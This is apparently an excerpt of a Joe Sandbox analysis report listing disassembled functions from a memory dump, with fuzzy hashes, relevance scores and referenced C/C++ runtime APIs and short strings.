Instruction Fuzzy Hash: ACC17EB1604702CFE720CF68C840B6AB7E1EF89318F244B2DE4AAD3690D774E945CB56

Function 000000C0005451E0 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f974cc8b59168a8e295c4a48ffa66267fa1fa777b8baa1a387cd64a10797da42
Instruction ID: ff450ef0ba9687c5c127b6b778ef16ee0183a9b8da9b125c11d45a708fee00de
Opcode Fuzzy Hash: f974cc8b59168a8e295c4a48ffa66267fa1fa777b8baa1a387cd64a10797da42
Instruction Fuzzy Hash: 73B15E75A01A06DBEB54CF69D440BAAB7E1FF44319F29C269D808CB352E771ED91CB80

Function 000000C00044CE86 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4b844f4748ab43110d9ddc2113bf4f3516c88aed4eb779ad480f52b638fb61b
Instruction ID: c908af34c60b3596a36718ff38c616b91c383aa5854eccdaa06906970518545e
Opcode Fuzzy Hash: c4b844f4748ab43110d9ddc2113bf4f3516c88aed4eb779ad480f52b638fb61b
Instruction Fuzzy Hash: 1BC12871610608DFF755CF28C48AB697BE1FB45368F2A8658E899CF2E1C335D982CB44

Function 000000C000457FB0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 178b8632cf4a06204a032ef50e17ee05e6ba1ac54982d75a853eaaeeebb4e1ac
Instruction ID: 7c278eb43d129de2e3efb4f255121b4c5c8792375646a6dcb6c654985982de4a
Opcode Fuzzy Hash: 178b8632cf4a06204a032ef50e17ee05e6ba1ac54982d75a853eaaeeebb4e1ac
Instruction Fuzzy Hash: C981F3B4900945DFFB108F58DC81BFEFBF4AB19319F260268D855A7283CB35990AC7A4

Function 000000C0004F6B30 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a67febc048bd5e7bed61c903892d463eae84642cc4542d2051080d3f21be36
Instruction ID: fea03906c56cac100d1ca59302cdd7f70a63257d1eeec3c5a626d157dca9dfcf
Opcode Fuzzy Hash: 21a67febc048bd5e7bed61c903892d463eae84642cc4542d2051080d3f21be36
Instruction Fuzzy Hash: BE71D27060060AAEFB34CBA8C841FAEBBE5EF45314F218ABCE596D36D0D670A645C751

Function 000000C0004EEDA0 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9cd12412d2fbdfd878adb74350a4a085bbb03b30e0bfaacd45f83111e1ce8df
Instruction ID: 355502f2a90648e0d88d8601187865815b414a2cc234d3cd045ab231ac5d70bb
Opcode Fuzzy Hash: b9cd12412d2fbdfd878adb74350a4a085bbb03b30e0bfaacd45f83111e1ce8df
Instruction Fuzzy Hash: E971A9356205658FF708CF1EECD09353752E3A93017558329EA81CB395C976E92EE7E0

Function 000000C0004EF040 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9e1b96ebeb8905ce8cf41e2ed65b6f129fd888b54bee42289f6865976a0455
Instruction ID: e845d72c3fc12fec63fa365b7a40552cebcdee271cb62b8cff6cc04b6efc1bb1
Opcode Fuzzy Hash: 5d9e1b96ebeb8905ce8cf41e2ed65b6f129fd888b54bee42289f6865976a0455
Instruction Fuzzy Hash: A371B6356345688FF708CF1EECC05363B52A39E30578642A9EA81C7295C577EA2DE7E0

Function 000000C000439D28 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52cb78d2398db9b0b603d029376420d0f98306e648bdaf562e0b47700e09c979
Instruction ID: c4d9f7abebbdb71eb53ad26bb17859599ca500c5fd6795509fa656109b77c871
Opcode Fuzzy Hash: 52cb78d2398db9b0b603d029376420d0f98306e648bdaf562e0b47700e09c979
Instruction Fuzzy Hash: EA516FB2D00119EFEF14CF98C841BEEBBB6EF88304F5A8559E515AB281D7749E40CB94

Function 000000C00045CF00 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8996b4f40c58bec926858b48ec4d8095f4a1bbf6dc88720eb005b0ecf77da9ae
Instruction ID: 30f8a387a490437e7d358a067344d98a48c46d0041a15747b4de4d778eef97ad
Opcode Fuzzy Hash: 8996b4f40c58bec926858b48ec4d8095f4a1bbf6dc88720eb005b0ecf77da9ae
Instruction Fuzzy Hash: B2518A75A00615CFEB24CF58C8D0FA9B7F2EF49709F2A4299D545AB292D731ED05CB80

Function 000000C000433185 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efa585f9997b95aa6d8ad566b019adb3ba32735042070c5205b0fdbe1dae14ae
Instruction ID: 160cf604f0312ee483f8cf23da2e73f314e28e64588ce39389f0644ba6c14c82
Opcode Fuzzy Hash: efa585f9997b95aa6d8ad566b019adb3ba32735042070c5205b0fdbe1dae14ae
Instruction Fuzzy Hash: 99519CB1901605CFFB14CF58D985BAABBF0FB5431AF2591AAC805EB290E7749E04CF50

Function 000000C0004F7000 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1584348cf9e3f3be4a9b24cc4e2ffe07feb8b558a8eaef0232f41b95094aa3e0
Instruction ID: de74b1d99facb54db38484ff7fe7fc7228b3897cd54c586557578f4bd67f5a59
Opcode Fuzzy Hash: 1584348cf9e3f3be4a9b24cc4e2ffe07feb8b558a8eaef0232f41b95094aa3e0
Instruction Fuzzy Hash: B2315872A80308EEEB608E69CC40BC9BFD6EF45210F04C669FC9C8B750C275E249C7A0

Function 000000C000545D70 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b63d64401bd7e6c0b9e96cbe20f5ac7b232a30cab2b22ebf5df1188a7b10d86
Instruction ID: 01a7930acd4fa1f0ed5d0f34e19984c3f596bfd3ff62a4624e107e081d64dfc6
Opcode Fuzzy Hash: 1b63d64401bd7e6c0b9e96cbe20f5ac7b232a30cab2b22ebf5df1188a7b10d86
Instruction Fuzzy Hash: 99219651E1A6A44BEB00593EC890782BFC5C792329F28D3F4D9588FBDED615A409C3E1

Function 000000C000425168 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 405COMMON

Download Yara Rule

Strings

0pV, xrefs: 000000C000425A86
e, xrefs: 000000C000425719
%, xrefs: 000000C000425BAA

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID: %$0pV$e
API String ID: 0-4073435148
Opcode ID: cf317e4e6eb957a6e14fea8cd676988e9766556ba323fe6721e71bccd91f7bfe
Instruction ID: 7a78e53f151cb55fc7b12c308f16e76a8bc8887a2d141eae7aa01814501519d4
Opcode Fuzzy Hash: cf317e4e6eb957a6e14fea8cd676988e9766556ba323fe6721e71bccd91f7bfe
Instruction Fuzzy Hash: 3712D1B0D04298DFFB11DB64C844BDEFBB1BF15308F258399E4456B282D7746A88CB56

Function 000000C000436BC6 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

___TypeMatch.LIBVCRUNTIME ref: 000000C000436DF3
CatchIt.LIBVCRUNTIME ref: 000000C000436E44
_UnwindNestedFrames.LIBCMT ref: 000000C000436F45
CallUnexpected.LIBVCRUNTIME ref: 000000C000436F60

Strings

csm, xrefs: 000000C000436C03
csm, xrefs: 000000C000436C70
csm, xrefs: 000000C000436D1C

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwind
String ID: csm$csm$csm
API String ID: 944608866-393685449
Opcode ID: 0c5aab28eb8654cb345f75635c788e639c0a4ed4315202f7920c1fe86205a10f
Instruction ID: 1fe5ea32828ef64faf2c5706726f078b53191d57e4e98af8c5d167bde3f86df3
Opcode Fuzzy Hash: 0c5aab28eb8654cb345f75635c788e639c0a4ed4315202f7920c1fe86205a10f
Instruction Fuzzy Hash: 3DD15FB580020AEBFF15DF94D841F9EBBB5AF04318F279259E8006B292D731DB51CB99

Function 000000C00044AF66 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 000000C00044AFEC

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: cecd13bb89814844993150da2a57c8f2bb196a633f36a5ff976750550461def0
Instruction ID: 45e264f756a6ce314788e37d12da7e2b06958886b6a66244a49f24cf7fed83d2
Opcode Fuzzy Hash: cecd13bb89814844993150da2a57c8f2bb196a633f36a5ff976750550461def0
Instruction Fuzzy Hash: A9C123B2A00255DFFB118F24CC91FAEBBA5EF55358F264255E904AB2C2D374D901C7E8

Function 000000C00043CCEC Relevance: 9.2, Strings: 7, Instructions: 456COMMON

Download Yara Rule

Strings

f, xrefs: 000000C00043CDF7
p, xrefs: 000000C00043CE44
f, xrefs: 000000C00043CDDB
f, xrefs: 000000C00043CE3D
p, xrefs: 000000C00043CDE2
:, xrefs: 000000C00043CDB0
p, xrefs: 000000C00043CDFE

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID: :$f$f$f$p$p$p
API String ID: 0-1434680307
Opcode ID: 3c18f69c8d0479ca43010233c8a5fd77dcbacfa6b81f878cfa788112f79029e6
Instruction ID: 67e9ac5efd52075b172de4af0511f597b8b04afe7f74888d2a5bbf16fc746d31
Opcode Fuzzy Hash: 3c18f69c8d0479ca43010233c8a5fd77dcbacfa6b81f878cfa788112f79029e6
Instruction Fuzzy Hash: 581239B5D00108DAFF289FA4E449BEEB7B6BB41B0CF725256E4116B2C4D7308E85CB59

Function 000000C0004420D3 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 000000C0004421EE
__dosmaperr.LIBCMT ref: 000000C00044220D
__dosmaperr.LIBCMT ref: 000000C0004423B3

Strings

H, xrefs: 000000C000442338

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: __dosmaperr
String ID: H
API String ID: 2332233096-2852464175
Opcode ID: 899e8745e59b9231842c25977fdcfb02482e73fc2f27b2205138a63271f33108
Instruction ID: 96dabd110ef059ccdd4917f257a799ce7428514294f0434aeeab9cb218194fb5
Opcode Fuzzy Hash: 899e8745e59b9231842c25977fdcfb02482e73fc2f27b2205138a63271f33108
Instruction Fuzzy Hash: BDB15772A10104DFFF18AF68DC91FAD3BB1AB16318F250249F811EB2D2CB749856DB55

Function 000000C0004E5B70 Relevance: 6.4, APIs: 4, Instructions: 350COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 000000C0004E5FE7
std::_Throw_Cpp_error.LIBCPMT ref: 000000C0004E5FF8
std::_Throw_Cpp_error.LIBCPMT ref: 000000C0004E6084
std::_Throw_Cpp_error.LIBCPMT ref: 000000C0004E6095

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: db1b43e557a1354c7093315932a8d64ef798d6568c97dc7b4d626172ec0da969
Instruction ID: 09b4a31dd4a65c0577b57c3416e7669378fec45b59d7fcba9daafb65a8c7effb
Opcode Fuzzy Hash: db1b43e557a1354c7093315932a8d64ef798d6568c97dc7b4d626172ec0da969
Instruction Fuzzy Hash: 42E1D1B0C00288DBFB10DFA8C948BEDBBB4BF15308F254319E454AB2D2E7705A49DB55

Function 000000C00043696F Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000000C000436A36
___AdjustPointer.LIBCMT ref: 000000C000436A59
___AdjustPointer.LIBCMT ref: 000000C000436AF5

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9c49ec1216cd10a1b8dcded1df3eff29d3c2c71fb51b80305b9040516556d7e1
Instruction ID: 82ad3da4fa05b6d7aee0f950fab16eb99983211823adb8eaec9bed7259bb2138
Opcode Fuzzy Hash: 9c49ec1216cd10a1b8dcded1df3eff29d3c2c71fb51b80305b9040516556d7e1
Instruction Fuzzy Hash: 8D51ACF1600207EFFB24AF54D841FAA77A4AF41319F37D629E805A62D1D731EE40CA58

Function 000000C000442E09 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca0227700ec1cafd8ddec141127ab8dff224812b30137b05f0045d1c24e82f82
Instruction ID: 4834f28c2b0a4bc6483fd2c94d4a927e6d81aa189bd02c7b63ddc211daf2a939
Opcode Fuzzy Hash: ca0227700ec1cafd8ddec141127ab8dff224812b30137b05f0045d1c24e82f82
Instruction Fuzzy Hash: DE4194B2A00705EFF7249F68CD41F9ABBA9EB88714F714729F115DB2C2D6B19A40C784

Function 000000C000431B29 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000000C000431B30
std::_Lockit::_Lockit.LIBCPMT ref: 000000C000431B3B
std::_Lockit::~_Lockit.LIBCPMT ref: 000000C000431BA9

Part of subcall function 000000C000431C8C: std::locale::_Locimp::_Locimp.LIBCPMT ref: 000000C000431CA4

std::locale::_Setgloballocale.LIBCPMT ref: 000000C000431B56

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: d69a94438ecedd1c33e3149671f03128fda4818eddbeeb62aba3c2d490db15d5
Instruction ID: afb7a507ffe2fa090a2815319585b2433e08e7f2b3344d7db0234c8d20de6707
Opcode Fuzzy Hash: d69a94438ecedd1c33e3149671f03128fda4818eddbeeb62aba3c2d490db15d5
Instruction Fuzzy Hash: 41018CB5A00610CBF705AB209851BBC7BA1FB94754F266609E801572E2DF34AB06DB89

Function 000000C0004069C0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 334COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 000000C000406E5C
___std_exception_destroy.LIBVCRUNTIME ref: 000000C000406E72

Strings

`[V, xrefs: 000000C000406A2F

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: `[V
API String ID: 4194217158-1825661548
Opcode ID: c22ce0a0f8fccf458fee235214b58be88a7892ff51f221a9c83a66c18e114be3
Instruction ID: 5ae30ea47db3d486f931d2aaf180063a93e44aaf1357215e8b80c2273bda65e3
Opcode Fuzzy Hash: c22ce0a0f8fccf458fee235214b58be88a7892ff51f221a9c83a66c18e114be3
Instruction Fuzzy Hash: EAE1DEB1C01288DBFB04CFA4C945BEDFBB0AF11308F258289E5157B2D2D7B45A84DBA1

Function 000000C000405F10 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 258COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 000000C0004060F0
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 000000C00040613E

Strings

., xrefs: 000000C000406110

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8
String ID: .
API String ID: 2610647541-248832578
Opcode ID: 522488fe729bdf90112f1e6e6d7e7c47df29a8c7c9ef26d6bc255f9c546949d6
Instruction ID: 0936965b35c9896a8daf3406220b0f686e06f2a3f4bfc2e4b98ba5e7e5dbe03d
Opcode Fuzzy Hash: 522488fe729bdf90112f1e6e6d7e7c47df29a8c7c9ef26d6bc255f9c546949d6
Instruction Fuzzy Hash: 8EA1E3B1901926DBFB64DF18C484FAAB3A4FF05318F220359EA16A76D1D730AD65CBC4

Function 000000C0004250B5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

e, xrefs: 000000C000425719

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID: e
API String ID: 0-4024072794
Opcode ID: d422932d3128195dae89d01a70a355fbb10ccea6fc1677c903ea9a155fa79539
Instruction ID: f52a46acb1374f0fb27a658b251b502891d54153cf1ea50a7c162907473b015d
Opcode Fuzzy Hash: d422932d3128195dae89d01a70a355fbb10ccea6fc1677c903ea9a155fa79539
Instruction Fuzzy Hash: 2491C3B0E00258DFFB14CBA4C984BEEBBB1BF55308F618359E405A72C2DB756A44CB95

Function 000000C000504E70 Relevance: 5.4, Strings: 4, Instructions: 411COMMON

Download Yara Rule

Strings

&LP, xrefs: 000000C000504F29, 000000C00050513A, 000000C00050514A, 000000C0005052C3, 000000C0005052B2, 000000C0005050B7
`W, xrefs: 000000C000505205
&LP, xrefs: 000000C0005050C8, 000000C000504FB1, 000000C000504F98, 000000C0005050E0
XW, xrefs: 000000C000505198

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID:
String ID: &LP$&LP$XW$`W
API String ID: 0-3765254471
Opcode ID: 740370393598b1041a6a08a8411e2492661cff585f3455d7de558e0da2917b6e
Instruction ID: 3170f8a19f9fc72caeea36a1091bd59bb0ece2f18c1f7c12e00a2febbe0a8265
Opcode Fuzzy Hash: 740370393598b1041a6a08a8411e2492661cff585f3455d7de558e0da2917b6e
Instruction Fuzzy Hash: DE026E75900646CBFB11CF54C494BAFBBF0BF44319F2A46A9DD45AB282E331A941CFA0

Function 000000C000406F10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 000000C0004070AC
___std_exception_destroy.LIBVCRUNTIME ref: 000000C0004070C2

Strings

PaV, xrefs: 000000C000406F1D

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: PaV
API String ID: 4194217158-1829984645
Opcode ID: d5a7d0c84006baaf1b8f095f3c810d49f99741521da2d92b62c9c79fef9d6cb5
Instruction ID: 4b690880d58a00596a81fa78886304e5254baf66e78aa24e145f33ba164bc6db
Opcode Fuzzy Hash: d5a7d0c84006baaf1b8f095f3c810d49f99741521da2d92b62c9c79fef9d6cb5
Instruction Fuzzy Hash: 2F51D0B1C01248EBEB00DF98D945BDEFBF4FB15318F204269E910A72C2E7B55A44CBA5

Function 000000C000425F0D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 000000C000425FDE
___std_exception_destroy.LIBVCRUNTIME ref: 000000C000425FFB

Strings

M, xrefs: 000000C000426003

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: M
API String ID: 4194217158-3664761504
Opcode ID: 85ebf671d377ce0202c868706fb08c64228180176929bff975646b3e3fbbeaab
Instruction ID: de343289c035533d0c65b2792be59d68df343f780f8d3934ee5c365ddea361d5
Opcode Fuzzy Hash: 85ebf671d377ce0202c868706fb08c64228180176929bff975646b3e3fbbeaab
Instruction Fuzzy Hash: 245135B0C04288EFEB10DBA4C944BDEFFB4AF15308F158299E48467683D7785A49CB62

Function 000000C0004D59F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 000000C0004D5B6A
std::_Throw_Cpp_error.LIBCPMT ref: 000000C0004D5B7B

Strings

UUJ, xrefs: 000000C0004D59FD

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID: UUJ
API String ID: 2134207285-3304273110
Opcode ID: 22443dfc12758add485b3872e7adfd72e3f229cd66cd188bf37bf05947f4a5b8
Instruction ID: b08cf6fc1ce9081b9afb10d3d7b3d087a37778399c1919dfa110b43119c61a52
Opcode Fuzzy Hash: 22443dfc12758add485b3872e7adfd72e3f229cd66cd188bf37bf05947f4a5b8
Instruction Fuzzy Hash: DF41F9F1D00601CBE710DF689941BBDB7E0BB94318F2A071AE815673D2EB71A904D795

Function 000000C000537970 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__alldvrm.LIBCMT ref: 000000C0005379F8
__allrem.LIBCMT ref: 000000C000537A56

Strings

QyS, xrefs: 000000C000537A47

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: __alldvrm__allrem
String ID: QyS
API String ID: 1673774721-2661310308
Opcode ID: dbd5a383dc21789517492f0a5b24b496eb7372a69262ab91d8438a2f15eae64f
Instruction ID: 7634f6874688b90c564e6ba37814be2acd6e530677e6f6920612f146bc257cd4
Opcode Fuzzy Hash: dbd5a383dc21789517492f0a5b24b496eb7372a69262ab91d8438a2f15eae64f
Instruction Fuzzy Hash: 654119B1E00219EFEB14DF98D881BAEBBF5AF48345F258169E504E7391D3359E00CBA0

Function 000000C000436F6B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 000000C000437076

Strings

MOC, xrefs: 000000C000436FA2
RCC, xrefs: 000000C000436FAA

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 2197aaef782f375f8d87615206ae6fe603a672c81450030c01d2018f2b0bfa53
Instruction ID: 368ca86172ce1343ee52a72096d2b0c349dc0502fb23ecec47fba50272a0a50f
Opcode Fuzzy Hash: 2197aaef782f375f8d87615206ae6fe603a672c81450030c01d2018f2b0bfa53
Instruction Fuzzy Hash: 35417EB1900109EFEF25DF94CD81FEEBBB5BF08308F269259F90466292D3359A50DB54

Function 000000C000424B57 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 000000C000424B87
___std_exception_destroy.LIBVCRUNTIME ref: 000000C000424B9E

Strings

l, xrefs: 000000C000424BA6

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: l
API String ID: 4194217158-2517025534
Opcode ID: 93604c852afd92e5f584fb453162aaaffac674aeb7c424ddb1880989753e47d1
Instruction ID: 86083d506a671983472407ee92d7b884a0197226b1f8f139bc497b1722fa1a21
Opcode Fuzzy Hash: 93604c852afd92e5f584fb453162aaaffac674aeb7c424ddb1880989753e47d1
Instruction Fuzzy Hash: 9DF049B0C042C8EDEB01CBA8C805BCDBFB06B11308F244096D444A7282E3B41B08D763

Function 000000C000424A54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 000000C000424A80
___std_exception_destroy.LIBVCRUNTIME ref: 000000C000424A97

Strings

x, xrefs: 000000C000424A9F

Memory Dump Source

Source File: 00000000.00000002.2264369355.000000C000400000.00000004.00001000.00020000.00000000.sdmp, Offset: 000000C000400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c000400000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: x
API String ID: 4194217158-2363233923
Opcode ID: 4caeaf5b27c3eea2b194819263ff7af5da1b50bee90dd8b524fc2798984ae388
Instruction ID: f1d5966764577669de0079dccc4a2ff7ac68662cfe232d7d3ae781a48fdb51d9
Opcode Fuzzy Hash: 4caeaf5b27c3eea2b194819263ff7af5da1b50bee90dd8b524fc2798984ae388
